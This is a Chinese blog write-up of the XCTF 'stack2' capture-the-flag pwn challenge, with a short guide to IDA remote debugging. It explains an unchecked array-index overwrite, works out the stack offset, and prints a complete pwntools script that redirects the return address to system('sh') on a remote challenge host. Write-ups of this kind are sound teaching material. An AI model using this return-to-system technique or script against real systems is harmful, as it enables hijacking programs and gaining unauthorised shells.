欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界stack2 and ida动态调试

程序员文章站 2022-07-15 14:58:48
...

首先按照常规,检查程序保护机制,发现除了pie,都开启了,并且使32位程序。
攻防世界stack2 and ida动态调试
上ida调试,查看伪代码,分析程序,发现程序的功能就是一个字符数组的展示,增加,修改,还有就是求平均值
攻防世界stack2 and ida动态调试
伪代码如下
攻防世界stack2 and ida动态调试
程序的第三个功能就是字符串的修改,这里发现漏洞,这里可以发现在对v13赋值时,程序并没有进行边界检查,这就给了我们栈溢出的机会,我们可以利用栈溢出构造ROP,达到劫持程序的效果。
攻防世界stack2 and ida动态调试
搜索字符串,发现敏感字符,跟进发现后门函数
攻防世界stack2 and ida动态调试

利用思路:

我们利用栈溢出漏洞将返回地址修改为我们的后门函数地址,实现程序劫持。
要将程序的返回地址覆盖就必须找到v13的偏移,下面开始计算偏移。
这里计算偏移我们使用ida的动态调试,ida动态调试过程我们后面会讲,现在直接上手调试

在漏洞利用点和‘return 0;’处下断点,然后将程序运行起来
攻防世界stack2 and ida动态调试
在程序中输入
攻防世界stack2 and ida动态调试
然后在ida页面断下来,eip所处的位置在这里,我们使用F8开始一步步调试
攻防世界stack2 and ida动态调试
到这里我们查看edx,发现里面是我们输入的数字9 ,然后双击var_88定位到栈段中的地址,栈地址为0xFFC8AC90,
这时我们查看ebp的地址(在栈段中jump ebp),可以看到ebp地址为0xFFC8AD18
攻防世界stack2 and ida动态调试
计算偏移为
0xFFC8AD18-0xFFC8AC90-4(ebp占用的空间)=0x84
偏移计算出来后,开始利用,首先将system函数的返回地址写入栈段中,然后这里还有一个问题就是system函数的参数问题,这里的参数是"/bin/bash",但是环境中并没有bash,不能使用,但是可以使用sh参数得到shell,这里要将sh的地址传入栈中。
先找到system函数的地址0x08048450
攻防世界stack2 and ida动态调试
找到sh地址,这里s在第七位,所以地址为0x08048987
攻防世界stack2 and ida动态调试

构造exp

#!usr/bin/python
#coding=utf-8
from pwn import *
context(arch="i386",os="linux")
io=remote("220.249.52.133",41732)

sh_addr = [0x87, 0x89, 0x04, 0x08]
sys_addr = [0x50, 0x84, 0x04, 0x08]
offset = 0x84

def add(addr,value):
	io.sendline("3")
	io.recvuntil("which number to change:\n")
	io.sendline(str(addr))
	io.recvuntil("new number:\n")
	io.sendline(str(value))

io.recvuntil("you have:\n")
io.sendline("1")
io.recvuntil("numbers\n")
io.sendline("1")

#0x08048450
for i in range(4):
    add(offset+i, sys_addr[i])
    
for i in range(4):
    add(offset+i+8, sh_addr[i])
io.sendline("5")
io.interactive()
io.interactive()

ida动态调试

首先将ida目录中dbgsrv文件下的这两个文件复制到linux中,并且按照要调试的程序位数运行起来,例如32位就运行linux_server
攻防世界stack2 and ida动态调试
攻防世界stack2 and ida动态调试
运行起来过后,我们打开ida,加载要运行的文件,
然后点击debugger下面最后一个
攻防世界stack2 and ida动态调试
选择远程linx
攻防世界stack2 and ida动态调试
然后输入相应的ip地址,和密码,然后就可以F9开始调试了!!!!

相关标签: pwn学习